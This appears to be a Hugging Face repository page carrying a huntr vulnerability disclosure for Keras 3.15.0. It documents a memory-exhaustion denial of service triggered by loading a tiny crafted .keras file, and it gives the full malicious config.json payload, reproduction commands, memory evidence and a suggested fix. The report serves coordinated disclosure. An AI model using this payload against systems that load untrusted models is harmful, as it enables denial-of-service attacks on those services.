Instructions to use EnigmaConsultant/huntr-poc-keras-numpy-dtype-subarray-alloc-oom with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use EnigmaConsultant/huntr-poc-keras-numpy-dtype-subarray-alloc-oom with Keras:
# Available backend options are: "jax", "torch", "tensorflow". import os os.environ["KERAS_BACKEND"] = "jax" import keras model = keras.saving.load_model("hf://EnigmaConsultant/huntr-poc-keras-numpy-dtype-subarray-alloc-oom") - Notebooks
- Google Colab
- Kaggle
Uncontrolled memory allocation via attacker-controlled numpy subarray-dtype in the __numpy__ deserializer (reachable under safe_mode=True, .keras native format)
Target: keras (keras-team/keras), PyPI package keras
Version tested: keras 3.15.0 (installed release, verified live)
Vulnerable file: keras/src/saving/serialization_lib.py (lines 655-656)
Class: CWE-789 Memory Allocation with Excessive Size Value / CWE-400 Uncontrolled Resource Consumption (Denial of Service)
Impact: Remote/uncontrolled memory allocation and OOM DoS triggered by loading a tiny (~600-byte) crafted .keras file through the fully-default public API β keras.saving.load_model(path) with safe_mode=True (the default). No code execution, no safe_mode=False, no lambda required.
Root cause
In deserialize_keras_object, the __numpy__ special case builds a numpy array directly from untrusted config values:
# keras/src/saving/serialization_lib.py (lines 655-656)
if class_name == "__numpy__":
return np.array(inner_config["value"], dtype=inner_config["dtype"])
Both inner_config["value"] (a JSON list) and inner_config["dtype"] (a string) come straight from the untrusted config.json inside a .keras zip archive. numpy accepts a subarray dtype string such as "(268435455,)f8", whose per-element itemsize is ~2 GiB (268435455 * 8 = 2,147,483,640 bytes β just under numpy's C-int itemsize cap of 2^31-1). Constructing an array from a one-element input list with that dtype produces shape (1, 268435455) and physically commits ~2.15 GB:
np.array([0.0], dtype="(268435455,)f8") -> shape (1, 268435455), nbytes 2147483640
Two properties make this a real, default-reachable primitive:
It executes BEFORE the
safe_modegate. The__lambda__branch that honorssafe_modeis at line ~679, after the__numpy__branch. The__numpy__case has no size guard and nosafe_modecheck, sosafe_mode=True(theload_modeldefault) provides zero protection here.Linear N x 2 GB amplification. A
.kerasconfig.jsonwhose top-level object is a plain dict with noclass_name/configkeys causesdeserialize_keras_objectto recurse into every value (the dict-walking branch, lines ~631-637). Each key holding a__numpy__node builds and retains its own ~2 GB array, so N keys request ~N x 2 GB simultaneously.
load_model's signature confirms the default-safe path is affected:
# keras/src/saving/saving_api.py:126
def load_model(filepath, custom_objects=None, compile=True, safe_mode=True):
Proof of Concept
A 594-byte numpy_bomb.keras archive whose 270-byte config.json is:
{"k0": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}},
"k1": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}},
"k2": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}}}
Loading it via the fully-default public API commits ~6.35 GB before failing:
import keras
keras.saving.load_model("numpy_bomb.keras") # safe_mode=True, compile=True (defaults)
Scaling the entry count to 12 (a 626-byte bomb12.keras) requests 25 GB and OOMs. Config-bytes β bytes-committed amplification is **24,000x**.
Files in this repo
build_poc.pyβ builds the malicious.kerasarchive for any entry countnumpy_bomb.keras(594 B) β 3-entry PoC, ~6.35 GB commitbomb12.keras(626 B) β 12-entry PoC, ~25 GB request β OOMbenign.keras(15,883 B) β real Sequential model, negative controldirect_deser.pyβ isolates the primitive with explicitsafe_mode=Trueload_poc.pyβ end-to-end defaultload_modelreproductionrlimit_run.pyβ bounded OOM proof + negative control underRLIMIT_AS=2.5 GBnp_amp.py,np_dtype.py,mk_benign.py,probe_recur.pyβ supporting scripts
Captured evidence (verbatim, keras 3.15.0)
Primitive, explicit safe_mode=True (direct_deser.py):
keras 3.15.0 safe_mode default = True
rss before MB: 206.2
returned type: <class 'numpy.ndarray'> nbytes: 2147483640
rss after MB: 2254.2
Underlying numpy amplification (re-confirmed live, numpy 2.3.5):
numpy 2.3.5 rss before MB 24.8
shape (1, 268435455) nbytes 2147483640 rss after MB 2072.8
End-to-end default load_model("numpy_bomb.keras") (load_poc.py):
keras 3.15.0
rss before load MB: 206.4
raised: ValueError Expected object to be an instance of `KerasSaveable`, but got {'k0': array([[0., 0., 0., ..., 0., 0., 0.]], shape=(1, 26...
elapsed s: 2.3
rss PEAK after load MB: 6351.8
(The ValueError is raised only after all three ~2 GB arrays have already been materialized β the DoS damage is done before the type check fails.)
Bounded OOM proof + negative control (rlimit_run.py, RLIMIT_AS=2.5 GB):
[RLIMIT_AS=2.5GB] loading benign.keras
RESULT: loaded OK -> Sequential | peak rss MB: 208.7
[RLIMIT_AS=2.5GB] loading bomb12.keras
RESULT: MemoryError (DoS) | peak rss MB: 206.7
Same loader, same code path: a real 15,883-byte model loads fine under a 2.5 GB address-space cap, while the 626-byte attacker file raises MemoryError.
Vulnerable source, as shipped (extracted from the installed package):
# keras/src/saving/serialization_lib.py:655-656
if class_name == "__numpy__":
return np.array(inner_config["value"], dtype=inner_config["dtype"])
Confirmed to sit before the __lambda__ / safe_mode gate (line ~679) in the same function.
Reproduction steps
pip install keras==3.15.0 h5py numpy
python build_poc.py 3 numpy_bomb.keras # 594-byte file
python build_poc.py 12 bomb12.keras # 626-byte file
python load_poc.py numpy_bomb.keras # watch RSS peak ~6.35 GB
python rlimit_run.py bomb12.keras # MemoryError under 2.5 GB cap
python rlimit_run.py benign.keras # negative control: loads OK
Suggested fix
Guard the __numpy__ (and __tensor__) special case before allocation: reject subarray dtypes, or cap the resulting itemsize/total element count against the length of the input value list, or resolve the dtype and refuse when np.dtype(dtype).itemsize grossly exceeds what a scalar element of value should occupy. The allocation should be bounded by the size of the serialized input, not by an attacker-chosen dtype string.
Dedup / novelty note
This is a distinct primitive and code path from prior Keras findings:
- Not the
.kerasconfig.jsonlarge-file / 4 GiB-floor config bomb (that abuses raw JSON payload size; here the maliciousconfig.jsonis 270 bytes and the amplification is dtype-driven, ~24,000x). - Not the legacy H5
model_configlayer-dimension / units alloc, nor the Densebuild_configshape allocation (those abuse layer shape/units integers; this abuses numpy subarray-dtype itemsize with a 1-element value list, in the native.kerasformat). - Not the assets zip-bomb, multi-optimizer ReDoS, H5 weight-names stack-bomb, or any lambda/
safe_mode=Falsecode-execution path. This triggers under the defaultsafe_mode=Truewith no lambda and no code execution.
No CVE currently covers the __numpy__ subarray-dtype itemsize amplification in serialization_lib.deserialize_keras_object. This report is for coordinated disclosure via huntr.
Ethics: PoC files only allocate/exhaust memory in the loader; they contain no code execution, exfiltration, or persistence.
- Downloads last month
- -